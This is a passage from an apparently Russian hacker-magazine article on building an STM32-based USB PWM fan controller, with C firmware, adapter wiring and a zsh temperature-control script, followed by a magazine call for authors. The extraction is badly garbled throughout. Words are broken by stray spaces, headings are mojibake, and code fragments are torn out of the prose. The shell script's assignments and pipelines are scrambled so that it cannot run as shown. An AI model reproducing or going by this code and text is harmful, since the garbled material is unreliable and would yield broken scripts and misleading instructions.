     timer_set_oc_mode(TIM1, TIM_OC3, TIM_OCM_PWM2);
   //timer_set_oc_mode(TIM1, TIM_OC4, TIM_OCM_PWM2);
    timer_enable_oc_output(TIM1, TIM_OC1);
    timer_enable_oc_output(TIM1, TIM_OC2);
    timer_enable_oc_output(TIM1, TIM_OC3);
   //timer_enable_oc_output(TIM1, TIM_OC4);
   timer_enable_break_main_output(TIM1);
     timer_set_oc_value(TIM1, TIM_OC1, 50);
     timer_set_oc_value(TIM1, TIM_OC2, 50);
     timer_set_oc_value(TIM1, TIM_OC3, 50);
   //timer_set_oc_value(TIM1, TIM_OC4, 50);
    timer_set_period(TIM1, 100);
   timer_enable_counter(TIM1);
   }

 void pwmset(){
     timer_set_oc_value(TIM1, TIM_OC1, fana);
     timer_set_oc_value(TIM1, TIM_OC2, fanb);
     timer_set_oc_value(TIM1, TIM_OC3, fanc);
   //timer_set_oc_value(TIM1, TIM_OC4, fand);
   }

 int main(void)
{
    int i;

    usbd_device *usbd_dev;
   rcc_clock_setup_in_hse_8mhz_out_72mhz();
   rcc_periph_clock_enable(RCC_GPIOB);
   pwm_init();
   //rcc_periph_clock_enable(RCC_GPIOC);
    gpio_set(GPIOB, GPIO12);
    gpio_set_mode(GPIOB, GPIO_MODE_OUTPUT_2_MHZ,

              GPIO_CNF_OUTPUT_PUSHPULL, GPIO12);
        

   
usbd_dev = usbd_init(&st_usbfs_v1_usb_driver, &dev, &config,

usb_strings, 3, usbd_control_buffer, sizeof(usbd_control_buffer));
    usbd_register_set_config_callback(usbd_dev, cdcacm_set_config);

          for (i = 0; i < 0x800000; i++)
       __asm__("nop");
    gpio_clear(GPIOB, GPIO12);

    while(1) usbd_poll(usbd_dev);

}

Прин цип работы такой: устрой ство при нима ет пакеты сим волов по USB, пос- 
ле чего шлет их обратно (работа ет как ECHO) в качес тве доказа тель ства сво- 
ей кор рек тной работы. А заод но отсы лает их в буфер команд с помощью фун- 
кции , в которой реали зован непол ный коль цевой буфер. Он
хра нит пос ледние N получен ных сим волов, а дан ная реали зация прос то
сбра сыва ется каж дые 128 сим волов, так про ще и быс трее. Для наших целей
и это го хва тит. Как толь ко фун кция натыка ется на сим вол , про исхо дит

вызов фун кции .

bufer_write()

'\r'
run()

Со дер жимое буфера пар сится фун кци ей 

, затем вызыва ется фун кция , выс- 

тавля ющая зна чения ШИМ, буфер запол няет ся нулями, и изме няет ся сос- 
тояние све тоди ода. Гля дя на све тоди од, лег ко оце нить кор рек тность работы
устрой ства. Из написан ного выше нет рудно понять, что коман да управле ния
выг лядит как , где X, Y, Z — десятич ные чис ла в интерва ле 20–
100, пред став ляющие собой сте пень запол нения ШИМ-сиг нала на выходах
O1, O2, O3 мик росхе мы U2. Коман да дол жна закан чивать ся зна чени ем .

sscanf(bufer, "set %d %d 
%d\r", &fana,&fanb,&fanc); pwmset()

'set X Y Z\r'

\r

INFO

Об рати вни мание, что UNL2003 инверти рует сиг- 
нал, поэто му получа ет на вход инвер сный ШИМ
(режим работы тай мера TIM_OCM_PWM2). Если
UNL2003 не ста вить, а брать сиг нал пря мо с кон- 
трол лера, что воз можно, то для кор рек тной
работы устрой ства сто ит выс тавить режим
TIM_OCM_PWM1.

Во обще говоря, у TIM1 есть четыре выхода ШИМ, одна ко в дан ном слу чае
нам будут дос тупны толь ко три, так как PA11 — это USB D- и в
STM32F103C6T6 нет воз можнос ти переназ начить эти выходы. Впро чем, если
очень хочет ся, мож но задей ство вать осталь ные тай меры, но, на мой вкус, три
канала хва тит с запасом.

ÏÎÄÊËÞ×ÅÍÈÅ

Для под клю чения устрой ства к кулерам были спа яны переход ники, соеди- 
няющие три пина вен тилято ра с материн ской пла той (GND, VDD, TACHO),
а чет вертый (PWM) — с нашим устрой ством. При чем для под клю чения девай- 
са в дан ном слу чае нужен лишь один про вод, пос коль ку к зем ле устрой ство
под клю чено через USB. Такая конс трук ция поз воля ет управлять кулера ми
с минималь ным вме шатель ством в материн скую пла ту, кро ме того, сох раня- 
ется штат ный монито ринг обо ротов вен тилято ров.

Пе реход ники

Лег ко видеть, что переход ники сос тоят из двух спа янных четырех пиновых
разъ емов, при чем край нее гнез до я уда лил. Таким обра зом, кон такт PWM
не соеди няет ся с материн ской пла той. Переход ник одной сто роной под клю- 
чает ся к материн ской пла те, а вто рой к вен тилято ру. Очень важ но соб людать
поляр ность, что бы не нат ворить бед. Оста лось соеди нить всё вмес те...

Под клю чение переход ников

...и под клю чить к материн ской пла те, на моей RD450X как раз есть внут- 
ренний разъ ем USB.

Под клю чение к материн ской пла те

ÈÍÒÅÐÔÅÉÑ

Приш ло вре мя про верить, как работа ет управле ние. Как я и говорил, нас тра- 
ивать порт не нуж но, пос коль ку он вир туаль ный. Даже тер миналь ную прог- 
рамму запус кать не надо, мож но прос то вос поль зовать ся коман дой 
и перенап равле нием вывода. Добав ление себя в груп пу  изба вит

от необ ходимос ти повыше ния при виле гий.

echo
uucp

sudo usermod -aG uucp candidum 
   $echo -n "set 95 95 95\r" >> /dev/ttyACM0 

Ты услы шишь, что вен тилято ры разог нались, на экра не осциллог рафа тоже
ста нут вид ны ожи даемые изме нения.

Бы ло 50%, ста ло 95%

ÑÎÔÒ

Ус трой ство есть, интерфейс есть, оста лось авто мати зиро вать кон троль обо- 
ротов. Писать будем на Shell. Итак, с интерва лом в 30 секунд мы будем узна- 
вать тем перату ру и по ней выс тавлять обо роты вен тилято ра. Что бы получить
тем перату ру про цес сора, вос поль зуем ся ути литой . В моей машине
два про цес сора и из-за ори ента ции воз душных потоков CPU2 всег да горячее
CPU1. На его тем перату ру мы и будем ори енти ровать ся, соот ветс твен но,
в выводе  мы ищем сле дующее:

sensors

sensors

... 
Package id 1:  +34.0°C  (high = +93.0°C, crit = +103.0°C) 
... 

А даль ше с помощью нехит рой кон соль ной магии дос таем из этой стро ки
зна чение 34. Теперь зададим тем ператур ную кри вую:

<45C  30% 
45C  50% 
50C  70% 
55C  85% 

>60C  100% 

И напос ледок, что бы миними зиро вать чис ло записей в порт, будем в него
писать, толь ко ког да меня ется зна чение PWM, а запоми нать текущее зна- 
чение будем в фай ле . У меня получил ся такой скрипт:/tmp/old_pwm

#!/bin/zsh

30 OLDPWM=
30 PWM=

   while [ true ]
do
#get temp

|awk |tr  temp=$(sensors|grep "Package id 1:" '{print $4}' -d '+°C')
temp=${temp%.*}
#get old pwm

     if [ -e /tmp/old_pwm ]; then OLDPWM=$(head -1 /tmp/old_pwm); fi
#set new pwm

30 PWM=
    45  50if [ $temp -ge ]; then PWM= ;fi
    50  70if [ $temp -ge ]; then PWM= ;fi
    55  80if [ $temp -ge ]; then PWM= ;fi
    60  90if [ $temp -ge ]; then PWM= ;fi
    65  100if [ $temp -ge ]; then PWM= ;fi

#save new pwm as old
  echo $PWM > /tmp/old_pwm 

#if $PWM != $OLDPWM send command to device
          if [ $PWM -ne $OLDPWM ]; then echo -n "set $PWM $PWM $PWM\r" >> /

dev/ttyACM0 ;fi
30 sleep 

done

Ос талось запус тить скрипт в фоне.

nohup temp_control.sh & 

Го тово, теперь обо роты вен тилято ра меня ются динами чес ки в зависи мос ти
от тем перату ры про цес сора. Дешево и сер дито!

https://github.com/5881/usb_fan_control
https://github.com/libopencm3


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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